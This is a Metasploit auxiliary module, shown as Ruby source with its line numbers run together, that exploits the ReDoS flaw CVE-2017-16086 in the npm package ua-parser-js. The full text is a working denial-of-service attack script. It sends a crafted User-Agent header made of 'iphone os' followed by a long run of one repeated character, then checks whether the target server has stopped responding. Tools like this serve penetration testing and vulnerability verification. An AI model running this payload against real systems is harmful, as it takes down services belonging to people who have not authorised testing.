Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'ua-parser-js npm module ReDoS',12'Description' => %q{13This module exploits a Regular Expression Denial of Service vulnerability14in the npm module "ua-parser-js". Server-side applications that use15"ua-parser-js" for parsing the browser user-agent string will be vulnerable16if they call the "getOS" or "getResult" functions. This vulnerability was17fixed as of version 0.7.16.18},19'References' =>20[21['CVE', '2017-16086'],22['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],23['CWE', '400'],24],25'Author' =>26[27'Ryan Knell, Sonatype Security Research',28'Nick Starke, Sonatype Security Research',29],30'License' => MSF_LICENSE31)3233register_options([34Opt::RPORT(80)35])36end3738def run39unless test_service40fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")41else42trigger_redos43test_service_unresponsive44end45end4647def trigger_redos48begin49print_status("Sending ReDoS request to #{peer}.")5051res = send_request_cgi({52'uri' => '/',53'method' => 'GET',54'headers' => {55'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)56}57})5859if res.nil?60print_status("No response received from #{peer}, service is most likely unresponsive.")61else62fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")63end6465rescue ::Rex::ConnectionRefused66print_error("Unable to connect to #{peer}.")67rescue ::Timeout::Error68print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")69end70end7172def test_service_unresponsive73begin74print_status('Testing for service unresponsiveness.')7576res = send_request_cgi({77'uri' => '/' + Rex::Text.rand_text_alpha(8),78'method' => 'GET'79})8081if res.nil?82print_good('Service not responding.')83else84print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')85end86rescue ::Rex::ConnectionRefused87print_error('An unknown error occurred.')88rescue ::Timeout::Error89print_good('HTTP request timed out, most likely the ReDoS attack was successful.')90end91end9293def test_service94begin95print_status('Testing Service to make sure it is working.')9697res = send_request_cgi({98'uri' => '/' + Rex::Text.rand_text_alpha(8),99'method' => 'GET'100})101102if !res.nil? && (res.code == 200 || res.code == 404)103print_status('Test request successful, attempting to send payload')104return true105else106return false107end108rescue ::Rex::ConnectionRefused109print_error("Unable to connect to #{peer}.")110return false111end112end113end114115116